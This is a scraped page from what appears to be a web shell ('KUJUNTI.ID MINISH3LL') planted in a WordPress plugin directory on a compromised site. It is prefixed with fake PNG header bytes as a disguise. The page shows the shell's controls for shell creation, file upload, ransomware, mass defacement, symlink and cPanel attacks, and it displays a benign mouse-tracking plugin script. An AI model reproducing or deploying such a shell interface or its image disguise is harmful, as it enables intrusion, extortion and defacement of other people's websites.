\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 www.csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/csarite.com/public_html/wp-content/plugins/motionpage/assets/js/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/csarite.com/public_html/wp-content/plugins/motionpage/assets/js/MouseMove.js


class MouseMovement{posPercents(t){return"scroll"===t?{x:(this.pos.x/innerWidth+scrollX/innerWidth)*100,y:(this.pos.y/innerHeight+scrollY/innerHeight)*100}:{x:this.pos.x/innerWidth*100,y:this.pos.y/innerHeight*100}}isWithinTarget(t){return this.pos.x>=t.left&&this.pos.x<=t.right&&this.pos.y>=t.top&&this.pos.y<=t.bottom}posWithinTarget(t,e,o){let i="string"==typeof e?document.querySelector(e):e;if(!i)return{v:-1};let s=i.getBoundingClientRect();return this.isWithinTarget(s)?{v:(this.pos[t]-s["x"===t?"left":"top"])/s["x"===t?"width":"height"],wt:!0}:{v:o,wt:!1}}getScrollbarWidth(){if(-1!==this.scrollbarWidth)return this.scrollbarWidth;let t=document.createElement("div");t.style.overflow="scroll",document.body.appendChild(t);let e=t.offsetWidth-t.clientWidth;return document.body.removeChild(t),this.scrollbarWidth=e+1,e}distance(t){let e="string"==typeof t?document.querySelector(t):t;if(!e)return -1;let o=e.getBoundingClientRect();if(!o||!this.isWithinTarget(o))return -1;let i=o.left+o.width/2,s=o.top+scrollY+o.height/2;return 1-Math.sqrt(Math.pow(this.pos.x-i,2)+Math.pow(this.pos.y+scrollY-s,2))/Math.sqrt(Math.pow(innerWidth/2,2)+Math.pow(innerHeight/2,2))}smoothEnter(t,e,o,i){gsap.ticker.remove(t),e.tweenFromTo(e.time(),e.totalDuration()*o,{onComplete(){gsap.ticker.add(t)},duration:i/1e3,ease:"none"})}smoothLeave(t,e){t.progress<e.progress()?gsap.to(e,t):e.tweenTo(t.progress,t)}constructor(){this.pos={x:0,y:0},this.scrollbarWidth=-1}}void 0===window.MOTIONPAGE_FRONT?setTimeout(()=>{window.MOTIONPAGE_FRONT.mouse=new MouseMovement},150):window.MOTIONPAGE_FRONT.mouse=new MouseMovement,document.body.addEventListener("mousemove",t=>{window.MOTIONPAGE_FRONT.mouse&&(window.MOTIONPAGE_FRONT.mouse.pos={x:t.clientX,y:t.clientY})});

© KUJUNTI.ID